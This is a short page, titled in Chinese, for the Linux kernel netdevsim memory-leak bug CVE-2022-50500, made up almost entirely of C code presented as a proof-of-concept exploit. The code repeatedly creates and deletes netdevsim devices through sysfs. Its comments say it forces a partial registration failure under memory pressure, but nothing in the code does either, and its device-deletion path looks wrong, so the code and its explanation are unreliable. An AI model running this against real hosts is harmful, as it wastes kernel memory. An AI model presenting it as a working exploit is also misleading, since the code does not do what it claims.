CVE-2022-50500 Linux内核netdevsim驱动内存泄漏漏洞

// PoC for CVE-2022-50500 - Linux kernel netdevsim memory leak // This PoC triggers the memory leak by creating a netdevsim device // and forcing nsim_dev_resources_register() to fail mid-way. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define NETDEVSIM_BUS_PATH "/sys/bus/netdevsim/new_device" /* * Trigger memory leak in nsim_drv_probe() by repeatedly creating * netdevsim devices under memory pressure conditions. * When nsim_dev_resources_register() fails partially, allocated * resources are not freed, causing memory leak. */ int main(int argc, char *argv[]) { int fd, ret; char buf[64]; int dev_num = 0; printf("CVE-2022-50500 PoC - netdevsim memory leak\n"); /* Load netdevsim module if not loaded */ ret = system("modprobe netdevsim"); if (ret != 0) { fprintf(stderr, "Failed to load netdevsim module\n"); return 1; } /* Create multiple netdevsim devices to trigger repeated probing */ for (dev_num = 0; dev_num < 1000; dev_num++) { snprintf(buf, sizeof(buf), "%d", dev_num); fd = open(NETDEVSIM_BUS_PATH, O_WRONLY); if (fd < 0) { fprintf(stderr, "Cannot open %s (need root)\n", NETDEVSIM_BUS_PATH); break; } ret = write(fd, buf, strlen(buf)); close(fd); if (ret < 0) { /* Write failure may indicate resource registration failure, * which triggers the memory leak path */ fprintf(stderr, "Device %d creation failed (triggering leak path)\n", dev_num); } /* Remove the device to free other resources, keeping leaked memory */ snprintf(buf, sizeof(buf), "/sys/bus/netdevsim/devices/netdevsim%d/delete", dev_num); fd = open(buf, O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } } printf("Done. Check kernel logs for memory leak warnings.\n"); return 0; }